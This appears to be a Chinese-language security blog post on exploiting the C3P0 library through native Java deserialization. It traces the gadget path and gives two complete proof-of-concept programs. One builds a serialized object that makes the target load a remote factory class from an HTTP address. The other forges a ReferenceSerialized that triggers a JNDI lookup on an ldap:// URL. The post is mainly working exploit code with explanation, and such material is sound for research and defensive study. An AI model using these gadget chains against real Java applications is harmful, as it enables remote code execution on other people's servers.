C3P0原生反序列化的JNDI打法

复习一下c3p0的反序列化打法,网上公开的大概就三种:

  • 原生反序列化,加载Reference指定的类工厂的字节码,需要出网

  • 配合json反序列化,有两个可以利用的setter

    • 一个打二次反序列化

    • 一个打JNDI

这里啰嗦地说一下原生反序列化的打法

PoolBackedDataSourceBase#readObject

如果读取的对象是IndirectlySerialized的实例,调用getObject来恢复连接池数据源connectionPoolDataSource这个属性。 顾名思义,IndirectlySerialized是间接序列化,这是一个接口,我们看它的实现子类ReferenceSerialized#getObject

referenceToObject通过获取引用(Reference)中指定的工厂类地址(fClassLocation),构造一个URLClassLoader,再去加载工厂类(fClassName)。这个引用作为ReferenceSerialized对象的属性,我们是可以控制的。

首先尝试序列化连接池数据源connectionPoolDataSource 若它不可被序列化,经过Indirector处理后再进行序列化,这是一个接口类,我们看它的实现子类ReferenceIndirector 下面看一下它是怎么处理这个不可被序列化的对象的,其实看到这里也能猜到,顾名思义它会包装一个引用(Reference)

这里要求这个对象是可被引用的(Referenceable),获取它的引用后封装到ReferenceSerialized中,也就是上文反序列化中提到的类。 可以构造如下POC:

import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;

import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;

public class Test {
    public static void main(String[] args) throws Exception {
        PoolBackedDataSourceBase base = new PoolBackedDataSourceBase(false);
        Class clazz = Class.forName("com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase");
        Field cp = clazz.getDeclaredField("connectionPoolDataSource");
        cp.setAccessible(true);
        cp.set(base, new evil());

        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(base);
        oos.close();

        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(baos.toByteArray()));
        Object o = (Object) ois.readObject();
    }

    public static class evil implements ConnectionPoolDataSource, Referenceable{

        public Reference getReference() throws NamingException {
            return new Reference("calc", "calc", "http://127.0.0.1:9999/");
        }

        public PooledConnection getPooledConnection() throws SQLException {
            return null;
        }

        public PooledConnection getPooledConnection(String user, String password) throws SQLException {
            return null;
        }

        public PrintWriter getLogWriter() throws SQLException {
            return null;
        }

        public void setLogWriter(PrintWriter out) throws SQLException {

        }

        public void setLoginTimeout(int seconds) throws SQLException {

        }

        public int getLoginTimeout() throws SQLException {
            return 0;
        }

        public Logger getParentLogger() throws SQLFeatureNotSupportedException {
            return null;
        }
    }
}

evil不能被反序列化,会经过ReferenceIndirector处理,拿到它的引用放入ReferenceSerialized,反序列化时会提取引用的工厂类地址,去远程加载工厂类。

上面反序列化的过程有一行特别醒目的代码 ReferenceSerialized#getObject

if ( contextName != null )
nameContext = (Context) initialContext.lookup( contextName );

熟悉的JNDI sink,但之前传入lookup的都是字符串,这里要求是个Name接口类。对比一下,其实就是要让Name.get(0)返回那串神奇的URLldap://xxx/rmi://xxx/

翻了一遍Name的实现类,挑了一个好用的javax.naming.CompoundName 其他实现类可能序列化和反序列化的时候会麻烦的,感兴趣的可以尝试。 主要关注下面几个方法

implmySyntax都是transient,所以序列化和反序列化时肯定有另外的处理。

大概就是遍历了implcomponents属性(这是一个Vector),每个都写入序列化流。

反序列化的时候,多次调用readObject再add进impl 大概知道了这个逻辑后我们简单构造一下

CompoundName name = new CompoundName("ldap://127.0.0.1:8099/aaa", new Properties());
new InitialContext().lookup(name);

默认为null 有很多解决方法,最简单就是调试的时候直接改掉这个值为我们构造的CompoundName 复杂一点的就是用javassist修改ReferenceIndirector这个类的无参构造函数,在里面对contextName属性进行赋值。 考虑到writeObject还得触发NotSerializableException,这里采取一个折中的方法,干脆直接本地重写PoolBackedDataSourceBase这个类,由上面的流程可知序列化本质就写入了一个ReferenceSerialized对象。

package com.mchange.v2.c3p0.impl;

import com.mchange.v2.ser.Indirector;
import com.mchange.v2.ser.SerializableUtils;
import com.sun.jndi.dns.DnsName;

import javax.naming.CompoundName;
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import java.io.IOException;
import java.io.NotSerializableException;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.ArrayList;
import java.util.Properties;

public class PoolBackedDataSourceBase extends IdentityTokenResolvable implements Referenceable, Serializable {
    private static final long serialVersionUID = 1;

    @Override
    public String getIdentityToken() {
        return null;
    }

    @Override
    public void setIdentityToken(String idToken) {

    }

    @Override
    public Reference getReference() throws NamingException {
        return null;
    }

    private void writeObject( ObjectOutputStream oos ) throws Exception
    {
        CompoundName name = new CompoundName("ldap://127.0.0.1:8099/aaa", new Properties());
        Class<?> clazz = Class.forName("com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized");
        Constructor<?> con = clazz.getDeclaredConstructors()[0];
        con.setAccessible(true);
        Object referenceSerialized = con.newInstance(null, null, name, null);
        oos.writeShort(1);  // 写入版本
        oos.writeObject(referenceSerialized);
    }
}

其实原来那条URLClassLoader的链就挺好打了,这个打法复杂化了

大家看个乐

Last updated